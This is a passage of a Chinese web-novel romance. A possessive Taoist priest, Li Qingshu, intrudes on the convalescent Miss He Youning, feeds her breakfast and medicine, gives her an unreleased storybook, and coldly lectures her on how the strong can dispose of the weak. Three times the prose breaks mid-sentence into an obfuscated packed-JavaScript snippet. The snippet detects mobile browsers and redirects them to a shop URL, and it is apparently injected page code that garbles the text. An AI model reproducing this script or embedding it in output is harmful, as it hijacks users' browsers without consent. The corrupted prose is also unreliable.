见她独自立于晨光微曦中,容颜清净,衣裙如雪,仿佛一枝带着露水的清晨梨花,他眼中掠过一丝极快的光亮。 “看来我们真是心有灵犀一点通。”他开口,声音在清晨寂静的空气里幽幽荡开,带着一丝慵懒的笑意,“我刚想来看你,你便已在此等候了。” 贺佑宁见到他,脸上并无太多意外,甚至连惊讶都欠奉。她只是静静地看着他,目光清凌凌的,像未散的晨雾。 “道长说笑了。”她的声音带着病后的微哑,却清晰平稳,“不过是病中躺久了,出来透透气。” 李清述举步朝她走近,清晨的凉意似乎都被他周身那股无形的压迫感驱散了些。 他在她面前停下,距离近得她能闻到他身上那股熟悉的淡香,混着一丝属于清晨的微寒。 “身子可大好了?”他问道,目光却在她脸上细细逡巡,从她微显苍白的脸颊,到颜色尚浅的唇瓣,再到那双平静无波的眼眸。 说着他抬起手,极其自然地伸出食指,轻轻勾起了她垂在鬓边的一缕柔顺发丝。指尖微凉,擦过她圆润小巧的耳廓。 “瞧着是比昨日精神些,”他兀自说着,将那缕发丝在指间绕了绕,动作带着一种漫不经心的亲昵,柔和的声线压低了些,更添几分蛊惑,“只是这脸色,依旧看着让人心疼。” 他微微俯身,距离她更近,几乎能感受到彼此呼吸的交错。那双深暗的眼眸专注地望进她的眼底,仿佛要透过那层平静的伪装,看清她内里的波澜。 他顿了顿,尾音拖长,带着一种近乎叹息的温柔,“你可真是个磨人的小乖乖……”指尖缠绕的发丝轻轻滑落,他的指腹似有若无地擦过她的脸颊。 声音压得极低,如同情人间的私语,内容却令人心惊,“病这一场,惹得人为你牵肠挂肚、摧心折肝……” 这一段话他说得极轻,却带着一种难以言说的重量。配上他那张带着一丝笑意的俊美面容和那全然掌控的姿态,透出一股令人头皮发麻的扭曲占有欲。 贺佑宁依旧静静站着,任由他勾弄发丝,贴近低语。甚至连他指尖擦过脸颊带来的微痒,都未能让她脸上泛起一丝红晕或显出丝毫慌乱。只有那垂在身侧,隐在宽大衣袖下的手,慢慢地蜷缩了起来。 在他说完那一番诡异表白之后,贺佑宁抬起眼,眸光清凌凌地看向他,声音依旧平稳:“劳道长挂心,已无大碍。” 李清述的目光依旧停留在她脸上,情绪并未因她的平淡回应而褪去,反而更添了几分探究,“真的没事了?” “嗯。”贺佑宁只回了一个简单的音节,眼神平静地落在他胸前月白的衣袍上,并不与他对视。 “那就好。”他语调轻缓,尾音微微上扬。随即,他话锋一转,依旧用那柔和却不容置疑的声音说道:“先前带你去那荒山野岭,风大露重,让你受苦了。” 贺佑宁心头微微一跳,不知他为何突然提起这个,又意欲何为。 “所以今日……”他微微歪了歪头,那双幽静的眼眸里闪烁着意味不明的光,“我们便不出去了。” 不出去了? 贺佑宁一怔,下意识抬眸看向他,眼底掠过一丝清晰的疑惑。 不出去?那他想做什么?他是想留在这里? 这里可是她的闺阁院落! 李清述唇角的弧度加深了些许,掺杂进一丝近乎恶劣的兴味。他向前半步,将她更完全地笼罩在自己的气息范围内,声音压得更低,如同粘稠的蜜糖,缓缓滴落:“今天,我们哪儿也不去,就好好待在这里。” 他的目光扫过她身后的房门,又落回她陡然紧绷的小脸上,一字一句,清晰无比。 贺佑宁:“……” 但显然,跟一个疯子讲道理是没有用的。 “有我陪着你不好吗?”李清述的尾音拖得长长,带着一丝理所当然,仿佛这真是件值得商榷的美事,“你一个人在屋里,不觉得闷?” “而且你是病人,需要有人照看。” 一连串的理由砸下来让人无可反驳。 贺佑宁抿紧了唇,她觉得他的病情更加严重。 面对这样一个我行我素到极点的人,言语似乎已经失去了效用。 见她无言,李清述非但不以为忤,反而像是得到了某种默许。 当然,即使贺佑宁开口拒绝,他也只会当成一缕微风,看不见便不存在。 他径直从她身侧走过,带起一阵微凉的气息,步态从容地迈过门槛,走进了贺佑宁的闺房。 贺佑宁的闺房布置得雅致舒适,透露着一股书香门第的品味。临窗设着一张宽大的紫檀木书案,案上整齐摆放着文房四宝,并几本翻开的诗集和游记。多宝阁上错落有致地陈列着一些精巧但不奢华的瓷器、玉玩,以及几盆长得正好的兰草。 靠墙是一张挂着藕荷色纱帐的拔步床,床边摆着同色的绣墩。窗边光线最好的地方,则置着一张铺着厚实软垫的藤编摇椅,旁边还有个矮几,上面放着一盏未点燃的纱灯和半卷未看完的书。 屋内还残留着淡淡的药香和女子,李清述视线随意扫过,最后落在了窗边那张铺着软垫的藤编摇椅上。 那是贺佑宁平日看书小憩常坐的地方。 他走了过去,姿态闲适地在摇椅上坐下,甚至微微调整了一下姿势,让自己靠得更舒服些。 竟就这么理所当然地躺了下来。 晨光透过半开的菱花窗棂,恰好斜斜地洒落在他身上。月白色的袍子被光线映照,隐约勾勒出衣衫下流畅而蕴藏着力量的肌体线条。墨黑的长发因他躺下的姿势而流泻在椅背和肩头。 他微微合着眼,长而密的睫毛在眼下投出两弯浓密的阴影,遮住了眸底的情绪。鼻梁高挺,唇色偏淡,形状优美,此刻唇角似乎还噙着一丝意味不明的极淡弧度。 他就这样躺在属于她的摇椅上,沐浴在晨光里,神情放松,姿态慵懒,仿佛这里是他自家的庭院,而非一个少女的私密闺房。 他没有说话,仿佛真的只是来“陪伴”她。可那份强大的无形存在感,却瞬间充斥了整个室内,让原本清雅安宁的闺阁,陡然变得逼仄而暗藏危机。 贺佑宁站在一旁,看着他如此自然地占据了自己的摇椅,强行挤进了这方属于她的私密天地。 心情格外复杂。 那抹月白的身影在晨光中美好得不像真人,却也冰冷危险得令她指尖发凉。 一阵脚步声由远及近,贺佑宁心中一凛,几乎是本能地疾步上前,赶在门帘被掀开的前一瞬侧身闪了出去,恰好将端着红漆食盒的丫鬟挡在了门外。 “小姐,您今日起得……”丫鬟的话音未尽。 “给我吧。”贺佑宁伸手接过食盒,指尖触到温热的盒壁,声音比平日快了一丝,带着不易察觉的紧绷,“我这里无需伺候,下去吧,没有传唤不必进来。” 丫鬟微愕,抬眼只见小姐面色如常,只是眉宇间似带着一缕淡淡的倦怠,便咽下了疑问,低低应了声“是”,垂首退下。 贺佑宁提着食盒,在原地静立片刻,听着那脚步声彻底远去,才几不可闻地舒了一口气。 她转身,重新掀帘踏入房内。 那股熟悉的压抑感,随着帘落,无声无息地再度漫涌了上来,填满了每一寸空气。 贺佑宁垂着眼,目不斜视地走向靠墙的圆桌,将食盒轻轻搁下。 接着打开盒盖,取出几样清淡小菜,一碗熬得米粒晶莹的碧粳米粥,还有两碟玲珑点心。 她动作井然,摆好碗筷,在绣墩上坐下,拿起调羹勺起粥,然后送入口中,一切如仪。唯有吞咽时喉间细微的滑动,泄露着一丝僵滞。 她能感觉到那道目光,来自窗边摇椅的方向,沉甸甸地落在她身上。 紧接着摇椅传来“吱呀”一声。 一阵脚步声响起,不疾不徐,步步清晰,仿佛踏在她绷紧的心弦上。月白色的衣摆悄无声息地侵入她低垂的视线余光,停在了圆桌对面。 李清述站在那里,并未坐下,居高临下地看着她。身姿颀长,微微垂首,视线便如同无形的蛛丝,自上而下,将她笼罩。 从她握着调羹的指尖,到她低敛的眉眼,再到她微微沾了些许润意的唇瓣。那视线并不含狎昵,却专注得令人心慌,仿佛她吃饭是什么值得细细观摩的奇景。 他不说话,就这么看着。房间里只剩下她偶尔碗筷轻碰的细微声响,以及她自己逐渐无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155026|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法忽视的心跳声。这沉默比任何言语都更具侵扰性,将她的私人时刻变成了在他审视下的公开行径。 贺佑宁试图忽略,可那目光如有实质,仿佛刮擦过她的皮肤,穿透她低垂的眼睫,直达心底深处。 她咀嚼的动作越来越慢,喉头像被什么堵着,脊背不由自主地僵硬起来。碗筷偶尔相触的细微声响,在她自己越来越响的心跳声中,被放大得刺耳。 终于,忍耐到了极限。 “嗒”的一声轻响,调羹被她搁回碗沿,声音在寂静中格外清脆。她抬起头,迎上他的目光,“道长为何要一直看着我?” 李清述闻言,唇角那丝似有若无的弧度似乎深了一些。他非但没有移开视线,反而微微倾身,手撑在桌沿,拉近了些许距离。 晨光从他侧后方斜射而来,将他大半张脸置于阴影之中,唯有一双眼睛,在晦暗里映着窗外渗入的微光,亮得有些异常。让他的面容在半明半暗中,更添莫测。 他声音柔和,甚至带着点欣赏的意味,“只是觉得看贺姑娘用饭,很有意思。” “……” 贺佑宁没理会他,继续低头用朝食。 可那目光依然牢牢锁着她,像一张细密的网,束缚得人浑身不自在。 甚至随着她指尖捏起糕点,送近唇边的动作细微移动…… 贺佑宁咽下一口点心,将筷子轻轻搁在碟边,抬起眼,目光平静却带着一丝显而易见的无奈:“道长可要一起用膳?” 李清述眼中那点莫测的光微微流转。他并未立刻应声,依旧保持着撑桌俯身的姿势,与贺佑宁隔着不远的距离对视了片刻。 就在贺佑宁以为他会拒绝时,他却开口道:“好。” “岁岁相邀,自要应允。” 说罢,他从容落座,动作自然得仿佛本就该如此。 可是丫鬟只送了一人份的早膳,食盒里仅有一套碗筷。 贺佑宁正想唤丫鬟再端一份朝食来。 说她想想尝尝不同口味的。 可男人修长的手指却端起了她面前的碗勺。 “你……”贺佑宁一愣。 李清述不答话,径自从她面前的几碟小菜中,仔细挑拣了她方才多夹了两筷子的翡翠虾仁和清炒笋丝,又用调羹盛起,然后在贺佑宁错愕的目光中,将一勺粥稳稳递到了她的唇边。 贺佑宁惊得往后一缩,“我……我可以自己来!” “自然是可以的,”李清述从善如流地点头,手却未收回半分,“但能省些力气,于你康复更有助益。药要按时喝,饭也要好好吃。”他的语气里甚至带上了点不容置疑的温和,“来,趁热吃。” 那勺粥就停在她唇边咫尺,米香混合着清淡菜蔬的气味萦绕鼻尖。贺佑宁与他目光对峙,他眼底幽静,仿佛在做一件再理所当然不过的事。 僵持数息,拗不过他,她终是败下阵来。 贺佑宁眼睛盯着桌面,微微张口,含住了那勺粥,迅速咀嚼咽下。 李清述似乎满意了,就这样一勺菜,一勺粥,耐心而细致地喂着她。他的动作不疾不徐,偶尔用箸尖将点心分成小块,方便她入口。整个过程沉默而诡异,只有瓷器轻微的碰撞声。 贺佑宁如坐针毡,每一口都吃得食不知味,只盼着快点结束。 好不容易等她摇头表示再也吃不下了,李清述才放下调羹,看了看桌上剩下的饭菜,很自然地用她方才用过的碗筷,从容地吃了起来。 “你……”贺佑宁看得目瞪口呆,好半晌才找回自己的声音:“那是我的碗筷……” 李清述抬眸看她一眼,咽下口中食物,才慢条斯理道:“嗯,我知道。” “只是剩下的饭菜弃之可惜,姑娘一向喜净,我不嫌弃。” 谁在意他嫌不嫌弃? 她心里膈应好吗! “……”贺佑宁彻底无言以对。 看着他姿态优雅却迅速地将剩余饭菜扫净,她只觉得脸上一阵阵发热,心里乱成一团,整个人感觉非常别扭不自在。 先前那无形的压迫感,此刻仿佛化作了实质的暧昧,密密地将她缠绕起来。 李清述吃完最后一口,放下碗筷,取过一旁温热的巾帕拭了拭嘴角,才看向脸颊绯红、目光游移的贺佑宁,唇角那抹弧度终于明显了些。 “今日的早膳,用得还算妥当。” 14. 喝药 “……” 贺佑宁已经习惯了,甚至有些麻木了。 吃完后,李清述将碗筷一一放进食盒,动作不急不徐。 “姑娘可是醒了?怎么不让青果她们进去伺候?”门外传来两声轻叩,紧接着是张嬷嬷慈和却透着担忧的声音。 贺佑宁连忙清了清嗓子,扬声道:“嬷嬷,我醒了,已经用过饭了。今日精神尚可,想自己清净一会儿,就让她们先在外头候着。” 门外的张嬷嬷显然不放心:“姑娘,您这才刚见好,万不可大意。今早的药还没喝呢!这可耽误不得,大夫叮嘱必须按时服用的。” 贺佑宁现在一听到“药”字,舌尖仿佛又泛起方才那浓重的苦涩,连带着想起的,是那股腥锈味…… 她几乎是下意识地抗拒,“嬷嬷,我的病已经大好了,那药……是药三分毒,既然好了,就不必再喝……” “姑娘这话可不对!”张嬷嬷在外头急得就差推门进来了,“伤风最易反复,您脸色还没完全转过来呢,怎能擅自停药?老奴知道药苦,特意让小厨房备了最甜的桂花蜜饯,您乖乖喝了,含着蜜饯就不苦了。” “快让老奴把药端进去,您趁热喝了,老奴才好放心。”嬷嬷的语气是真心实意的关切和不容置疑的坚持。 贺佑宁知道嬷嬷是为她好。 她悄悄抬眼觑了下对面的李清述,只见他好整以暇地靠在椅背上,指尖轻轻点着桌面,一副饶有兴味的模样。 贺佑宁不想在李清述面前显得像个需要人步步紧盯、连药都得被逼着喝的孩子。 “嬷嬷莫急,”她提高声音,语气尽量放得平稳,“我这就来。” 说着,她站起身朝外走去。 李清述没出声,只是静静看着她。 贺佑宁走到门边,拉开了一道缝隙,闪身出去,又立即阖上。 门外,张嬷嬷正端着一碗热气腾腾、气味浓郁的汤药,脸上带着焦忧。 张嬷嬷的心都在贺佑宁身上,并没有注意到其它异样。 “姑娘,您怎么自己起来了?快回去坐着!”张嬷嬷连忙腾出一只手想扶她。 “嬷嬷,我真的没事了。”贺佑宁脸上挤出一个轻松的笑,伸手就去接药碗,“药给我吧,我保证一滴不剩地喝完。您忙了一早上,快去歇歇。” “这怎么行,还是老奴伺候您……”张嬷嬷不松手,打量着她的脸色,说着就要探手去摸她额头。 贺佑宁赶紧偏头躲开,顺势双手捧住了药碗的边缘,“我真已经好很多了,嬷嬷,药快凉了先给我吧,您先去歇歇。”她语气带上了点撒娇般的催促,手上却暗暗用力。 张嬷嬷拗不过她,又见她确实能站稳,精神头也比前两日好些,终于迟疑着松了手,但嘴里还是不停叮嘱:“那姑娘您一定趁热喝,喝完含着蜜饯,好好躺着休息,千万别再看书劳神了……” “知道了知道了,嬷嬷快去。”贺佑宁连连应声,端着那碗沉甸甸、苦味扑鼻的药。一转过身,脸上的笑容瞬间垮了下来。 她端着药碗走回桌边,将碗“咚”一声放在桌上。 盯着那碗深褐色的药汁,她做了片刻心理建设,终于鼓足勇气,端起碗,闭上眼,屏住呼吸,以一种近乎悲壮的姿态,仰头“咕咚咕咚”大口灌了下去。 苦涩瞬间席卷了整个口腔,直冲天灵盖,让她忍不住皱紧了整张脸,呛咳了两声。 一方干净素雅的帕子适时递到了她眼前。 她咳得眼角泛泪,也顾不得许多,接过帕子掩住口唇。帕子上带着极淡的气息,与李清述身上的一样。 贺佑宁用那方带着松雪气息的帕子,轻轻按了按湿润的眼角,正暗自平复心绪,一颗晶莹剔透的蜜饯却递到了唇边。 贺佑宁顿了一下,这次没再说什么,微微张口,顺从地含了进去。 蜜饯的甜意丝丝缕缕在舌尖化开,勉强压下了翻涌的苦涩。 她垂下眼,目光落在桌上那还剩小半碗的深褐色药汁上,一个念头悄然浮起。 她抬起眼,看向对面气定神闲的李清述,故意放慢了语速,语气里掺进一丝刻意的不解和天真的困扰:“道长方才说,饭菜弃之可惜,是为浪费。那这剩下的汤药……” “我实在是喝不下了呢。”她指尖轻轻点了点药碗边缘,“良药虽苦,亦是精心熬制,若就此倒掉,岂非更是暴殄天物?道长素来清修,想必更不喜此等浪费行径吧?” 她说完,便睁着一双清润的眼睛,故作无辜地望着他,心里却有点打鼓,又隐隐期待看到他吃瘪的模样。 这药有多苦,她刚亲身领教过。 李清述闻言,目光从她的唇瓣,缓缓移向那半碗药汁。他神色未变,甚至连眉梢都没动一下,只淡淡开口:“你说的对。” 在贺佑宁的注视下,他伸出手,不疾不徐地端起了那只药碗。碗沿上,还残留着她方才饮药时指尖的温度。 “良药苦口,确实不该浪费。”他语气平静,“既如此,我替你喝了便是。” 贺佑宁一愣,没想到他竟真的要喝。这和她预想的“讲道理”或者“婉拒”完全不同。 然而,李清述的下一句话,却让她瞬间瞪大了眼睛,浑身的血液仿佛都冲到了头顶。 只听他慢条斯理地继续道:“药力进了我的身体,于你而言,也是一样。”他顿了顿,幽邃的眼眸地锁住她骤然微变的脸色,声音压低了些,带着一种近乎危险的平静,“引我身上之血为药即用。” “!”贺佑宁惊得几乎从绣墩上跳起来,这话太过离经叛道! 眼看着他手腕微抬,竟真的要将那药碗送至唇边,贺佑宁脑中一片空白,什么捉弄全都飞到了九霄云外,只剩下一个念头,绝不能让他喝! “等等!”她急得声音都变了调,也顾不得什么仪态,猛地倾身过去,一把抓住了他端着药碗的手腕。 李清述的动作停住了,碗沿堪堪停在他唇边寸许。他抬眸,好整以暇地看着她,仿佛早就在等她这一拦。 贺佑宁抓着他手腕的手指微微发抖,非常急迫:“我可不想喝你的血!这药……这药我喝!我自己喝!”她几乎是抢一般,从他手中夺回了那只药碗。 因为动作太急,几滴深褐色的药汁溅了出来,落在他白皙的手背上。 可她此刻哪里还顾得上这些。 她深吸一口气,屏住呼吸,仰头将碗中剩下的药汁一口气灌了下去。比方才好像更甚的苦涩猛地冲击着味蕾。 药碗见底,她重重地将碗放在桌上,整个人仿佛已经失去了所有力气。 忽然一只手轻轻拍着她的背部,替她顺气。 贺佑宁抬起泪眼朦胧的眼,看向身旁的男人。只见他唇角那抹弧度已然压平,神色恢复了惯常的淡然,仿佛刚才说出那般惊世骇俗言语的人不是他。 “岁岁既已饮尽,便不算浪费了。”他语气寻常,甚至还带上了点赞许的意味。 贺佑宁一口气堵在胸口,上不去也下不来。她总算明白了,跟这人斗,自己根本占不到半分便宜,反而总是被他三言两语、几个动作就搅得方寸大乱。 李清述将盛着蜜饯的小碟子轻轻往她面前推了推。晶莹的蜜饯在白瓷小碟里泛着诱人的光泽,甜香与糖霜,是对抗苦涩最直接的诱惑。 贺佑宁正被那药味折磨得舌根发麻,瞥见蜜饯,几乎是带着一种泄愤般的急切,一连吃了几颗,一股脑儿全塞进了嘴里。腮帮子瞬间被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155027|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑得鼓鼓囊囊,像只仓促囤粮的小兽。 她小口咀嚼着,甜腻的汁液在口腔里爆开,迅速覆盖了药的苦。 她鼓着腮帮子,垂着眼睑,刻意不去看对面的人,只顾着和嘴里的蜜饯较劲,仿佛这样就能把刚才的狼狈和心慌也一并嚼碎了咽下去。 李清述看着她这副模样。 脸颊鼓胀,睫毛上还沾着未干的泪珠,随着咀嚼的动作一颤一颤,明明是在生气,却透着一股孩子气的笨拙与可爱。 一丝真切的笑意不受控制地从眼底缓缓漾开,唇角也随之扬起。 那笑容很浅,却极为清晰,褪去了平日里惯有的疏淡或若有似无的戏谑,是纯粹因眼前景象而生,带着温软趣味的笑意。 他并未出声,只是静静地看着她。 半晌后,贺佑宁终于将口中的蜜饯尽数咽下,又觉口中有些黏腻,便伸手端过旁边的清茶,小口小口地啜饮着。温热的茶水冲刷过味蕾,带走了最后一丝甜腻与残留的苦意,也让她纷乱的心绪稍稍平复了些许。 就在这时,视线边缘,一只骨节分明的手推过来一样东西,轻轻放在了茶盏旁边。 贺佑宁下意识抬眼看去,却见是一本装帧不算华丽,但纸质上佳的书册。封面上是熟悉的簪花小楷,写着《霜天晓角·续》。 她微微一怔,这书名…… 贺佑宁忍不住抬起头,望向李清述,眸中带着清晰的讶异:“这是《霜天晓角》的续集?我记得书肆的掌柜说,著者尚未完稿,最快也要年底才会刊印……” 这是她近来颇为喜爱的一套话本,讲的虽是才子佳人闯荡江湖的俗套故事,但文笔清丽,情节也别有意趣。 前些日她还曾翻看前半部解闷,也曾遗憾后文不知何时能得见。 市面上从未有过续集流传,李清述手中这本,从封面题字到用纸,都与正版别无二致,绝非粗制滥造的伪作。 李清述迎着她疑惑的目光,并未直接回答,只是唇角那抹尚未完全散去的笑意似乎又深了一分。他手指在那书封上轻轻点了点,语气寻常:“偶然得之,想着你或许会喜欢,便带来了。” 偶然得之? 贺佑宁心中疑虑更甚。 这话本著者行踪飘忽,书稿流向更是隐秘,连最大的书肆都拿不到确切的讯息,他一个“偶然”,便能拿到连书肆掌柜都断言年底方出的续集?且这书册崭新,墨香犹存,显然是刚刚印制装订不久…… 她接过书册,指尖触到细腻的纸张,翻开扉页,里面字迹清晰工整,排版疏朗,确实是精心制作的正版模样。 心中的惊讶渐渐化作了一种更深层次的揣测。 她早就觉得李清述此人来历不凡,气度见识皆非寻常修道之人可比。平日看似闲云野鹤,与世无争,但言谈举止间偶尔流露的笃定与掌控感,以及对待许多事情的超然态度,都暗示着他背后或许有着不为人知的能力与背景。 如今,这本提前出现的话本,更像是一个微小的印证。能轻易拿到尚未刊印的书稿,绝非仅凭钱财或偶然机缘便能办到。这背后需要的人脉、渠道,乃至某种程度的“特权”,都非同小可。 他到底是什么人? 贺佑宁抬眸,再次看向李清述。 他依旧是一派云淡风轻的模样,仿佛只是随手送出了一件微不足道的小玩意。 这份淡然,连同他之前那些逾越却又令人无法真正生气的举动,像一层薄雾,将他笼罩得更加难以捉摸。 贺佑宁一时忘记了方才的那些小插曲。 她捏着书册的手指微微收紧,压下心头的万千疑问,最终只是低声道了句:“多谢道长。”声音里,却已不自觉地染上了几分复杂难辨的情绪。 15. 话本 李清述将贺佑宁面上细微的神情变化尽收眼底。并未错过她指尖那微微用力的收紧,也未曾忽略她语气里那丝不易察觉的谨慎。 他没有展露出情绪,只是视线在她低垂的眉眼和那本话本上停留了一瞬,继而云淡风轻地移开,重新落回窗外那株随风轻摆的海棠上。 “不必言谢。”他语气平淡,听不出什么特别的意味,“不过是顺手之物,能博得你一笑,便算是它的用处。。” 这话说得轻巧,仿佛那背后可能牵扯的隐秘渠道、人情往来,乃至他自身那份讳莫如深的背景,都只是无需挂齿的细枝末节。 然而,他越是这般轻描淡写,那份举重若轻的姿态,反而更衬出其深不可测。 屋内的光线透过窗棂,在他挺直的鼻梁和微抿的唇线上投下淡淡的光晕。他不再看她,也不再言语,只是那样闲适地坐着。 可这份“寻常”,在贺佑宁此刻的心中,却比任何追问或解释都更具分量。 他分明是察觉到了她的疑虑,却选择用沉默和淡然来应对。 这是一种自信,也是一种无形的宣告。关于他的事,她若想知道,或许需要她自己慢慢去发现,而他,并不急于剖白。 这无声的回应,比直接承认或否认都更让人心绪难平。 贺佑宁握着书册,只觉得那纸张的边缘微微硌着掌心。她瞥向他沉静的侧脸,那线条流畅而分明,带着一种疏离又引人探究的弧度。 空气再次静默下来,弥漫开一种微妙的张力。平静之下,是暗流涌动与万千猜想。 贺佑宁压下心头翻涌的疑虑。 她的指尖拂过话本细腻的封面,轻轻翻开了书页。 反正一时也不想明白,不如先去做别的事情让自己开心一下。 墨香混合着新纸特有的气息扑面而来,她很快便被引入一个与先前闺阁情愁略有不同的世界。 续集里,女主和竹马男配携手离开了繁华京都,踏入了风波诡谲的江湖。 情节紧凑,笔触变得洒脱豪迈几分。 贺佑宁看得入神,书中写到二人路遇强人拦路,那身为书香门第出身的男配角,面对明晃晃的刀剑,将佳人牢牢护在身后,自己则试图以道理和身上仅有的钱财说服匪徒,结果自然是险些人财两空,全靠身怀些许武艺的女主角暗中周旋,才狼狈脱险。 看到此处时,忽然听得身侧传来一道平静无波的声音:“此举不妥。若是我,便不会如此。” 贺佑宁从书页间抬起头,有些讶异地看向他。 李清述不知何时已稍稍倾身,目光也落在了她手中的书页上,侧脸在光影中显得俊美无俦。 “道长是说……这书生试图与匪徒讲道理之举?”她合上书页,指尖点着那段文字,不解地问。 李清述轻轻颌首,目光从书页移到她脸上,那双深邃的眸子凝望着她,平静淡漠。 他缓缓开口,字字清晰,“既知前路或许有险,便不该仅凭一腔仁义就贸然踏入。纵然踏入,也当有护她周全的把握,而非仅靠‘道理’和‘钱财’。” 他顿了顿,视线似乎掠过贺佑宁,语气依旧平稳,却多了几分难以言喻的力度。 “心悦一人,当使她安稳,而非涉险。自己若无万全之策,反要依靠对方化解危机,纵有十分心意,也只剩五分可靠。所谓保护,并非挡在身前便是,须得有真正挡住风雨、扫清障碍的本事与准备,否则,不过是徒增累赘与忧心。” 他的话冷静而犀利,直接点破了书生行为中浪漫却无用的本质。 贺佑宁听着,握着话本的手指微微收紧,书页发出极轻的窸窣声。 她避开他过于清明的目光,重新看向那行描写书生语句的文字,只觉得那份天真与无力,在此刻显得格外刺目。 “是以寻夫婿,还是当寻些武功高强、心性机敏、行事周全体贴之人。此类人中看不中用,绣花枕头而已,不堪为良配。” 他的话乍听之下,还是在顺着方才点评话本的思路,俨然一副理性分析、就事论事的模样,甚至带着点客观评价的意味。 可听在贺佑宁耳中,却怎么都觉得怪怪的。 她定了定神,指尖无意识地在话本边缘划动,抬起眼,刻意让自己的语气带上一点不服气的争辩意味:“道长此言,未免过于计较利害得失。” 她指尖点了点话本,“这书生固然手无缚鸡之力,行事天真可笑,可他待那姑娘的一番真心赤诚,却是做不得假。危难时刻,他肯将她护在身后,这份心意,或许比万千算计更难得。” 她顿了顿,观察着李清述的反应,见他眉梢似乎几不可察地动了一下,心中微定,继续道:“再者,话本里的姑娘,虽只身怀些许武艺,但她并非止步不前。江湖历练,风雨磨砺,她自会慢慢成长,变得更加强大。在这过程中,她若觉书生力有不逮……” 贺佑宁迎上李清述沉静的目光,一字一句,说得清晰无比:“她大可再寻一位武功高强、心性聪敏、行事周全……如道长所说的那般人物,来护她一段时日。至于那书生,”她轻轻一扬眉梢,仿佛在陈述一件再自然不过的事,“若他因此醋了、恼了,自觉难堪,大可自行离去。江湖广阔,各自安好。若他心胸开阔,不以此为忤,那姑娘既得真心相伴,又得强力护佑,岂非两全其美?” 她说完,微微抬起下巴,实则心底有些发虚。 李清述静静地听她说完,面上依旧波澜不兴,只是那双沉静的眸子,似乎更幽深了些。 他并未立刻反驳,只是目光沉沉地落在她脸上,带着一种近乎审视的专注。 半晌,他缓缓开口,带着一种冰冷的穿透力,直接刺破了贺佑宁描绘的“两全其美”的幻象:“你以为那书生会轻易离去?” 他语调平直,却字字带着分量,“他于刀锋前尚敢将她护在身后,连死都不惧。这般情深,又岂会因后来者武功高强,便甘愿拱手相让,自行离去?” 贺佑宁心头一跳,隐隐觉得不妙。 李清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155028|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 述继续道,目光如寒潭般深不见底:“他不会走。他会隐忍,会等待。或许表面装作接受,甚至谦卑退让。但那份不甘与恨,会日夜啃噬,让他心底的执念更深。他会暗中积蓄力量,或许是苦练武功,或许是寻求机缘,或许是……利用他对那姑娘过往的了解,以及那份‘旧情’。” 他微微倾身,带来的压迫感让贺佑宁几乎屏住呼吸。 “而另一位,”李清述语气转冷,“武功高强,心性聪敏,既能在江湖中闯出名堂,武功大成,便决不会是心思简单、易于掌控之辈。他能看出书生的隐忍与不甘,更能看出那姑娘对旧人存留的情分与不忍。卧榻之侧,岂容他人酣睡?尤其这‘他人’,还曾是她心头最重要的人。” 他停顿片刻,看着贺佑宁骤然收紧的手指,声音沉缓,却带着宣判般的冷酷:“书生体弱,不通武艺。而另一位要杀那书生,或许比碾死一只蚂蚁,难不了多少。” 贺佑宁浑身猛地一颤,仿佛被一道无形的冰锥刺中,从头顶凉到脚心。 李清述看着她,继续道,声音依旧平稳,却字字砸在她心坎上:“届时,根本不必等到什么‘醋了’、‘恼了’,或是‘自行离去’。只要那位后来者觉得那书生碍眼,或是对姑娘构成了哪怕一丝一毫的‘影响’,他便有无数种方法,让那书生无声无息地消失在这世上。一场‘意外’,一次‘匪患’,甚至只是一杯‘不慎’饮下的毒酒……” 他略微倾身,带来的阴影笼罩着贺佑宁,语气低沉而肯定:“在悬殊的力量与冷酷心性面前,书生的‘一片真心’与‘不介意’,脆弱得不堪一击。他或许连选择‘离去’或‘留下’的资格都没有。” 她看着他沉静的侧影,那平淡漠然的神情下,似乎蕴含着对世间法则冷酷而清醒的认知。他不仅是在点评话本,更像是在陈述一条他深信不疑的真理——在绝对的力量差距面前,弱者的意愿与情感,往往轻如鸿毛,生死只在强者一念之间。 这认知让她遍体生寒,一股深重的无力与冷意牢牢攫住了她,让她僵在原地。 李清述伸手提起小炉上一直温着的青瓷壶,往她面前那杯已经凉透的茶盏里,缓缓注入了新的热茶。清澈的水流注入杯中,发出细微的声响,打破了令人窒息的沉默,也带来了一丝活气。 白雾袅袅升起,带着茶叶被重新激发的清香,氤氲在两人之间。 “喝口茶。”他的声音却褪去了方才那种冰冷的硬度,恢复了一贯的平稳。 贺佑宁怔怔地看着杯中重新舒展的茶叶,那抹翠色在热水中缓缓沉浮,带来一点生机。 她手指微微动了动。 